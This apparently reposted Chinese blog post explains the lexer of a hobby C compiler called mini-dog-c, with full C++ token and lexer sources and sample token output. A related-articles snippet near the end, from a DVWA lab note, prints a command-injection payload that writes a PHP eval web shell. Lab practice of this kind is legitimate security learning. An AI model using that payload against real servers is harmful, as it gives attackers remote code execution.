mini-dog-c编译器之词法分析

mini-dog-c 是一个小型的 C 语言编译器,是我学习和理解编译器基本工作原理的实践项目。其词法分析器能够识别 C 语言的基本语法元素,包括常见的标识符、整数和浮点数字面量、布尔字面量以及字符串字面量。此外,它还支持基本的算术和逻辑操作符、比较操作符以及多种分隔符。在关键词方面,mini-dog-c 支持函数定义、变量声明、条件语句和返回语句等基本控制结构。

本项目基于monkey-cpp开发。

mini-dog-c 支持以下语法特性:

标识符和字面量

  • 标识符:由字母、数字和下划线组成,但不能以数字开头(kIdent
  • 字符字面量:支持单引号包围的字符(kChar
  • 布尔字面量:支持 truefalsekBool
  • 整数字面量:支持十进制整数(kInt
  • 浮点数字面量:支持包含小数点的数字(kDouble
  • 字符串字面量:支持双引号包围的字符串(kString

操作符

  • 赋值操作符=
  • 算术操作符+(加)、-(减)、*(乘)、/(除)
  • 逻辑操作符!(逻辑非)、==(等于)、!=(不等于)
  • 比较操作符<(小于)、>(大于)

分隔符

  • 逗号,(用于分隔参数或列表)
  • 分号;(用于语句结束)
  • 冒号:(可能用于标签或类型标注)
  • 圆括号()(用于函数调用或分组)
  • 花括号{}(用于代码块或结构体定义)
  • 方括号[](用于数组或索引)

关键词

  • 函数定义fn(用于定义函数)
  • 变量声明let(用于声明变量)
  • 条件语句if(用于条件判断)、else(用于条件分支)
  • 返回语句return(用于从函数返回值)

token.hpp

#pragma once#include <string>
#include <unordered_map>enum class TokenType {kIllegal,kEOF,// 标识符 + 字面量kIdent,kChar,kBool,kInt,kDouble,kString,// 操作符kAssign,		// =kPlus,			// +kMinus,			// -kBang,			// !kAsterisk,		// *kSlash,			// /kLT,			// <kGT,			// >kEQ,			// ==kNE,			// !=// 分隔符kComma,			// ,kSemicolon,		// ;kColon,			// :kLParen,		// (kRParen,		// )kLBrace,		// {kRBrace,		// }kLBracket,		// [kRBracket,		// ]// 关键词kFunction,		// fnkLet,			// letkIf,			// ifkElse,			// elsekReturn			// return
};TokenType LookupIdent(std::string ident) {static std::unordered_map<std::string, TokenType> keywords = {{"fn", TokenType::kFunction},{"let", TokenType::kLet},{"if", TokenType::kIf},{"return", TokenType::kReturn},{"else", TokenType::kElse},{"true", TokenType::kBool},{"false", TokenType::kBool}};auto it = keywords.find(ident);if (it != keywords.end())return it->second;elsereturn TokenType::kIdent;
}struct Token {Token() {type = TokenType::kIllegal;}Token(TokenType type, std::string literal) {this->type = type;this->literal = literal;}TokenType type;std::string literal;
};

lexer.hpp

#pragma once#include <string>
#include "token.hpp"class Lexer {
public:Lexer(const std::string input): input_(input), pos_(0), next_pos_(0), ch_(' ') {}void SkipWhitespace() {while (ch_ == ' ' || ch_ == '\t' || ch_ == '\n' || ch_ == '\r')ReadChar();}void ReadChar() {ch_ = next_pos_ >= input_.size() ? 0 : input_[next_pos_];pos_ = next_pos_++;}char PeekChar() {return next_pos_ >= input_.size() ? 0 : input_[next_pos_];}std::string ReadIdentifier() {size_t old_pos = pos_;while (std::isalpha(ch_) || std::isdigit(ch_) || ch_ == '_')ReadChar();return input_.substr(old_pos, pos_ - old_pos);}std::string ReadString() {size_t old_pos = pos_ + 1;while (true) {ReadChar();if (ch_ == '"' || ch_ == 0)break;}return input_.substr(old_pos, pos_ - old_pos);}std::string ReadNumber() {size_t old_pos_ = pos_;if (old_pos_ == '.') {while (std::isdigit(ch_))ReadChar();}else {int dot_count = 0;while (std::isdigit(ch_) || (ch_ == '.' && (dot_count++) == 0))ReadChar();}return input_.substr(old_pos_, pos_ - old_pos_);}Token NextToken(){SkipWhitespace();Token tok;switch (ch_) {case '=':{if (PeekChar() == '=') {ReadChar();std::string literal("==");tok.type = TokenType::kEQ;tok.literal = literal;} else {tok = Token(TokenType::kAssign, std::string(1, ch_));}break;}case '+':{tok = Token(TokenType::kPlus, std::string(1, ch_));break;}case '-':{tok = Token(TokenType::kMinus, std::string(1, ch_));break;}case '!':{if (PeekChar() == '='){ReadChar();tok.type = TokenType::kNE;tok.literal = "!=";}else{tok = Token(TokenType::kBang, std::string(1, ch_));}break;}case '/':tok = Token(TokenType::kSlash, std::string(1, ch_));break;case '*':tok = Token(TokenType::kAsterisk, std::string(1, ch_));break;case '<':tok = Token(TokenType::kLT, std::string(1, ch_));break;case '>':tok = Token(TokenType::kGT, std::string(1, ch_));break;case ';':tok = Token(TokenType::kSemicolon, std::string(1, ch_));break;case ',':tok = Token(TokenType::kComma, std::string(1, ch_));break;case '{':tok = Token(TokenType::kLBrace, std::string(1, ch_));break;case '}':tok = Token(TokenType::kRBrace, std::string(1, ch_));break;case '(':tok = Token(TokenType::kLParen, std::string(1, ch_));break;case ')':tok = Token(TokenType::kRParen, std::string(1, ch_));break;case '[':tok = Token(TokenType::kLBracket, std::string(1, ch_));break;case ']':tok = Token(TokenType::kRBracket, std::string(1, ch_));break;case ':':tok = Token(TokenType::kColon, std::string(1, ch_));break;case '"':{tok.type = TokenType::kString;tok.literal = ReadString();break;}case '.':{tok.type = TokenType::kDouble;tok.literal = ReadNumber();break;}case 0:{tok.literal = "";tok.type = TokenType::kEOF;break;}default:{if (std::isalpha(ch_) || ch_ == '_'){tok.literal = ReadIdentifier();tok.type = LookupIdent(tok.literal);return tok;}else if (std::isdigit(ch_)){tok.literal = ReadNumber();tok.type = tok.literal.find('.') == std::string::npos ? TokenType::kInt : TokenType::kDouble;return tok;}else{tok = Token(TokenType::kIllegal, std::string(1, ch_));}}}ReadChar();return tok;}private:std::string input_;		// 源码size_t pos_;			// 当前位置size_t next_pos_;		// 下一位置char ch_;				// 当前字符
};

main.cpp

#include "lexer.hpp"
#include <iostream>int main(int argc, char** argv) {std::string input = R"(
int add(int a, int b) {return a + b;
}double add(double a, double b) {return a + b;
}int main() {int a = 100;int b = 200;println(add(a, b));double c1 = 123.;double _d1 = .456;println(add(c1, _d1));println("Hello, world!\nThis is mini-dog-c.");return 0;
}
)";Lexer lexer(input);while (true) {auto token = lexer.NextToken();if(token.type == TokenType::kEOF)break;std::cout << token.literal << std::endl;}return 0;
}

运行结果:

int
add
(
int
a
,
int
b
)
{
return
a
+
b
;
}
double
add
(
double
a
,
double
b
)
{
return
a
+
b
;
}
int
main
(
)
{
int
a
=
100
;
int
b
=
200
;
println
(
add
(
a
,
b
)
)
;
double
c1
=
123.
;
double
_d1
=
.456
println
(
add
(
c1
,
_d1
)
)
;
println
(
Hello, world!\nThis is mini-dog-c.
)
;
return
0
;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66227.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习基础-概率图模型

&#xff08;一阶&#xff09;马尔科夫模型的基本概念 状态、状态转换概率、初始概率 状态转移矩阵的基本概念 隐马尔可夫模型&#xff08;HMM&#xff09;的基本概念 条件随机场&#xff08;CRF&#xff09;的基本概念 实际应用中的马尔科夫性 自然语言处理&#xff1a; 在词…

Qt打包为exe文件

个人学习笔记 选择release 进入项目文件夹&#xff0c;查看releas生成的文件 releas文件路径 进入release看到exe文件&#xff0c;但是无法执行 将exe文件单独放到一个文件夹内 选择MinGW 用CD 进入存放exe文件的路径&#xff0c;输入下面指令 cd J:\C\Qt\test4-3-1 windeploy…

VScode怎么重启

原文链接&#xff1a;【vscode】vscode重新启动 键盘按下 Ctrl Shift p 打开命令行&#xff0c;如下图&#xff1a; 输入Reload Window&#xff0c;如下图&#xff1a;

Web安全 - “Referrer Policy“ Security 头值不安全

文章目录 概述原因分析风险说明Referrer-Policy 头配置选项1. 不安全的策略no-referrer-when-downgradeunsafe-url 2. 安全的策略no-referreroriginorigin-when-cross-originsame-originstrict-originstrict-origin-when-cross-origin 推荐配置Nginx 配置示例 在 Nginx 中配置 …

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统&#xff1f; A hy…

基于SpringBoot在线竞拍平台系统功能实现十五

一、前言介绍&#xff1a; 1.1 项目摘要 随着网络技术的飞速发展和电子商务的普及&#xff0c;竞拍系统作为一种新型的在线交易方式&#xff0c;已经逐渐深入到人们的日常生活中。传统的拍卖活动需要耗费大量的人力、物力和时间&#xff0c;从组织拍卖、宣传、报名、竞拍到成…

Ubuntu 搭建SVN服务

目录 ​ 1、安装SVN服务端 2、创建SVN版本库 3、修改SVN配置svnserve.conf 3.1 配置文件介绍 3.2 svnserve.conf配置 3.3 authz配置设置用户读写权限 3.4 passwd配置 用户名密码 4、启动SVN服务 4.1 配置开机启动 1、安装SVN服务端 sudo apt-get install subversion…

DataV数据可视化

阿里云 DataV 是一个强大的数据可视化工具&#xff0c;可以帮助用户通过创建丰富的图表、仪表盘、地图和互动视图&#xff0c;将复杂的数据转化为易于理解和分析的可视化信息。DataV主要用于大数据和实时数据的展示&#xff0c;可以帮助企业和个人更直观地理解数据背后的含义&a…

电子电气架构 --- 整车整车网络管理浅析

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局&#xff1f;new一个对象到底占多大内存&#xff1f; 话不多说&#xff0c;看下图&#xff0c;对象的内存布局图 一个对象的内存布局主要由三部分组成&#xff1a;对象头&#xff08;Object Header&#xff09;、实例数据&#xff08;Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…